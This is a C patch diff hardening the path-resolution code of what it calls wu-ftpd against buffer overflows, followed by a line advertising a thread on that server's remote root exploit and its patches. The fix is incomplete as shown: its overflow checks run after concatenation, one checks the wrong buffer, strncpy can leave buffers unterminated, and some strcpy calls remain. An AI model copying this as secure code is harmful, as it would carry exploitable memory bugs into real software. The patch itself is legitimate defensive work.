#include <string.h>
+#include <syslog.h>
#ifndef HAVE_SYMLINK
#define lstat stat
@@ -55,10 +56,10 @@
#endif
{
struct stat sbuf;
- char curpath[MAXPATHLEN],
- workpath[MAXPATHLEN],
- linkpath[MAXPATHLEN],
- namebuf[MAXPATHLEN],
+ char curpath[MAXPATHLEN+1],
+ workpath[MAXPATHLEN+1],
+ linkpath[MAXPATHLEN+1],
+ namebuf[MAXPATHLEN+1],
*where,
*ptr,
*last;
@@ -75,7 +76,7 @@
return(NULL);
}
- strcpy(curpath, pathname);
+ strncpy(curpath, pathname,MAXPATHLEN);
if (*pathname != '/') {
uid_t userid;
@@ -93,7 +94,7 @@
#else
if (!getwd(workpath)) {
#endif
- strcpy(result, ".");
+ strncpy(result, ".",MAXPATHLEN);
seteuid(userid);
enable_signaling(); /* we can allow signals once again: kinch */
return (NULL);
@@ -142,9 +143,13 @@
for (last = namebuf; *last; last++)
continue;
if ((last == namebuf) || (*--last != '/'))
- strcat(namebuf, "/");
- strcat(namebuf, where);
-
+ strncat(namebuf, "/",MAXPATHLEN-strlen(namebuf));
+ strncat(namebuf, where,MAXPATHLEN-strlen(namebuf));
+ if (strlen(namebuf)+strlen(where)>=MAXPATHLEN) {
+ syslog(LOG_DAEMON|LOG_NOTICE,"possible buffer overflow attempt");
+ return(NULL);
+ }
+
where = ++ptr;
if (lstat(namebuf, &sbuf) == -1) {
strcpy(result, namebuf);
@@ -163,8 +168,13 @@
if (*linkpath == '/')
*workpath = '\0';
if (*where) {
- strcat(linkpath, "/");
- strcat(linkpath, where);
+ strncat(linkpath, "/",MAXPATHLEN-strlen(linkpath));
+ strncat(linkpath, where,MAXPATHLEN-strlen(linkpath));
+ if (strlen(namebuf)+strlen(where)>=MAXPATHLEN) {
+ syslog(LOG_DAEMON|LOG_NOTICE,
+ "possible buffer overflow attempt");
+ return(NULL);
+ }
}
strcpy(curpath, linkpath);
goto loop;
An excellent and very detailed thread concerning the wu-ftpd remote buffer overflow / root compromise. Exploit analysis, patches, and information about new releases and hacks of wu-ftpd included.